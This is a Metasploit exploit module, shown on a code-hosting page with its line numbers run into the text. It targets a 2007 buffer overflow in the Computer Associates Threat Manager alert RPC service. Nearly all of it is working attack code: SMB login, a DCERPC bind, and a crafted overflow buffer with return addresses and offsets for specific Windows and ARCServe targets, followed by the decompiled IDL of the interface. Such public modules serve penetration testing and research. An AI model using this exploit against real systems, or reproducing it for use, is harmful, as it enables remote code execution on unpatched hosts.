Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/etrust_itm_alert.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(update_info(info,13'Name' => 'Computer Associates Alert Notification Buffer Overflow',14'Description' => %q{15This module exploits a buffer overflow in Computer Associates Threat Manager for the Enterprise r8.116By sending a specially crafted RPC request, an attacker could overflow the buffer and execute arbitrary code.17In order to successfully exploit this vulnerability, you will need valid logon credentials to the target.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2007-4620' ],24[ 'OSVDB', '44040' ],25[ 'BID', '28605' ],26],27'Privileged' => true,28'DefaultOptions' =>29{30'EXITFUNC' => 'thread',31},32'Payload' =>33{34'Space' => 550,35'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' =>40[41[ 'Windows 2003 SP0 English', { 'Offset' => 979, 'Ret' => 0x77e03efb } ],42[ 'Windows 2000 SP4 English', { 'Offset' => 979, 'Ret' => 0x7c30d043 } ],43[ 'CA BrightStor ARCServe Backup 11.5 / Windows 2000 SP4 English', { 'Offset' => 207, 'Ret' => 0x7c2e7993 } ], # Yin Dehui44],45'DisclosureDate' => '2008-04-04',46'DefaultTarget' => 0))4748register_options(49[50OptString.new('SMBPIPE', [ true, "The pipe name to use (alert)", 'alert']),51])52end5354def exploit55connect()56smb_login()5758handle = dcerpc_handle('3d742890-397c-11cf-9bf1-00805f88cb72', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])59print_status("Binding to #{handle} ...")6061dcerpc_bind(handle)62print_status("Bound to #{handle} ...")6364filler = rand_text_english(target['Offset']) + [target.ret].pack('V') + make_nops(12)65filler << payload.encoded + rand_text_english(772)6667sploit = NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.string(filler + "\x00")68sploit << NDR.string(rand_text_english(rand(1024) + 1) + "\x00") + NDR.long(0)6970print_status("Trying target #{target.name}...")7172begin73dcerpc_call(0x00, sploit)74rescue Rex::Proto::DCERPC::Exceptions::NoResponse75end7677handler78disconnect79end80end8182=begin83/*84* IDL code generated by mIDA v1.0.885* Copyright (C) 2006, Tenable Network Security86* http://cgi.tenablesecurity.com/tenable/mida.php87*88*89* Decompilation information:90* RPC stub type: inline91*/9293[ uuid(3d742890-397c-11cf-9bf1-00805f88cb72), version(1.0) ]9495interface mIDA_interface96{97typedef struct struct_1 {98long elem_1;99[size_is(10000), length_is(elem_1)] struct struct_2 * elem_2;100} struct_1 ;101102typedef struct struct_2 {103char elem_1[52];104} struct_2 ;105106107/* opcode: 0x00, address: 0x00401000 */108109long sub_401000 (110[in][ref][string] char * arg_1,111[out][ref] struct struct_1 * arg_2,112[in][ref][string] char * arg_3113);114115}116=end117118119